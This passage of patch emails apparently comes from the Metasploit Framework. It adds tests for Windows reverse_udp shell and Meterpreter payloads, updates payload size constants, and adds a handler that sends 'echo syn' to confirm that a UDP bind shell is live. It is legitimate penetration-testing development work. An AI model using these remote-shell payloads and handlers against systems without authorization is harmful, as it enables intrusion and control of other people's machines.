+ context 'ruby/shell_bind_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -2696,6 +2726,17 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'windows/dllinject/reverse_tcp_rc4_dns' end + context 'windows/dllinject/reverse_udp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/reverse_udp', + 'stages/windows/dllinject' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/dllinject/reverse_udp' + end + context 'windows/dns_txt_query_exec' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -3048,6 +3089,17 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'windows/meterpreter/reverse_tcp_uuid' end + context 'windows/meterpreter/reverse_udp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/reverse_udp', + 'stages/windows/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/reverse_udp' + end + context 'windows/metsvc_bind_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -3211,6 +3263,17 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'windows/patchupdllinject/reverse_tcp_rc4_dns' end + context 'windows/patchupdllinject/reverse_udp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/reverse_udp', + 'stages/windows/patchupdllinject' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/patchupdllinject/reverse_udp' + end + context 'windows/patchupmeterpreter/bind_ipv6_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -3354,6 +3417,17 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'windows/patchupmeterpreter/reverse_tcp_rc4_dns' end + context 'windows/patchupmeterpreter/reverse_udp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/reverse_udp', + 'stages/windows/patchupmeterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/patchupmeterpreter/reverse_udp' + end + context 'windows/shell/bind_ipv6_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -3497,6 +3571,17 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'windows/shell/reverse_tcp_rc4_dns' end + context 'windows/shell/reverse_udp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/reverse_udp', + 'stages/windows/shell' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/shell/reverse_udp' + end + context 'windows/shell_bind_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -3690,6 +3775,17 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'windows/upexec/reverse_tcp_rc4_dns' end + context 'windows/upexec/reverse_udp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/reverse_udp', + 'stages/windows/upexec' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/upexec/reverse_udp' + end + context 'windows/vncinject/bind_ipv6_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -3833,6 +3929,17 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'windows/vncinject/reverse_tcp_rc4_dns' end + context 'windows/vncinject/reverse_udp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/reverse_udp', + 'stages/windows/vncinject' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/vncinject/reverse_udp' + end + context 'windows/x64/exec' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ From d56111a33c8da29f75b25df5d2b4a39d48f28f8a Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Tue, 13 Feb 2018 14:34:21 -0600 Subject: [PATCH 6/7] update cache sizes from new tests --- modules/payloads/singles/cmd/unix/bind_socat_udp.rb | 2 +- modules/payloads/singles/cmd/unix/reverse_socat_udp.rb | 2 +- modules/payloads/stagers/windows/reverse_udp.rb | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/payloads/singles/cmd/unix/bind_socat_udp.rb b/modules/payloads/singles/cmd/unix/bind_socat_udp.rb index 6d3012e56d..e8bb0b4aea 100644 --- a/modules/payloads/singles/cmd/unix/bind_socat_udp.rb +++ b/modules/payloads/singles/cmd/unix/bind_socat_udp.rb @@ -9,7 +9,7 @@ require 'msf/base/sessions/command_shell_options' module MetasploitModule - CachedSize = 35 + CachedSize = 70 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/cmd/unix/reverse_socat_udp.rb b/modules/payloads/singles/cmd/unix/reverse_socat_udp.rb index c5ab2494a5..68558ae055 100644 --- a/modules/payloads/singles/cmd/unix/reverse_socat_udp.rb +++ b/modules/payloads/singles/cmd/unix/reverse_socat_udp.rb @@ -9,7 +9,7 @@ require 'msf/base/sessions/command_shell_options' module MetasploitModule - CachedSize = 35 + CachedSize = 87 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/stagers/windows/reverse_udp.rb b/modules/payloads/stagers/windows/reverse_udp.rb index 33685617d5..c3198f385c 100644 --- a/modules/payloads/stagers/windows/reverse_udp.rb +++ b/modules/payloads/stagers/windows/reverse_udp.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/reverse_udp' module MetasploitModule - CachedSize = 314 + CachedSize = 299 include Msf::Payload::Stager include Msf::Payload::Windows::ReverseUdp From f5768e7cedee50702b2acc7af46d509166fe1de3 Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Tue, 13 Feb 2018 13:21:22 -0600 Subject: [PATCH 7/7] gate session reported when using bind udp While this method here is somewhat noisy on the network it eliminates a poor user experience when the handler is started but the payload is not yet running on the target. When a target is sent a udp packet and it is not rejected push down an initial "echo syn" command that will respond with output. This allows framework to be aware that the payload is what is running on the server port instead of assuming a non-existent target is a valid session. --- lib/msf/core/handler/bind_udp.rb | 19 ++++++++++++++++++- 1 file changed, 18 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/handler/bind_udp.rb b/lib/msf/core/handler/bind_udp.rb index 05e11c1d1b..a5e9f57436 100644 --- a/lib/msf/core/handler/bind_udp.rb +++ b/lib/msf/core/handler/bind_udp.rb @@ -81,6 +81,9 @@ module BindUdp # Maximum number of seconds to run the handler ctimeout = 150 + # Maximum number of seconds to await initial udp response + rtimeout = 5 + if (exploit_config and exploit_config['active_timeout']) ctimeout = exploit_config['active_timeout'].to_i end @@ -131,7 +134,21 @@ module BindUdp end client.extend(Rex::IO::Stream) - break if client + begin + # If a connection was acknowledged, request a basic response before promoting as a session + if client + message = 'syn' + client.write("echo #{message}\n") + response = client.get(rtimeout) + break if response && response.include?(message) + client.close() + client = nil + end + rescue Errno::ECONNREFUSED + client.close() + client = nil + wlog("Connection failed in udp bind handler continuing attempts: #{$!.class} #{$!}") + end # Wait a second before trying again Rex::ThreadSafe.sleep(0.5)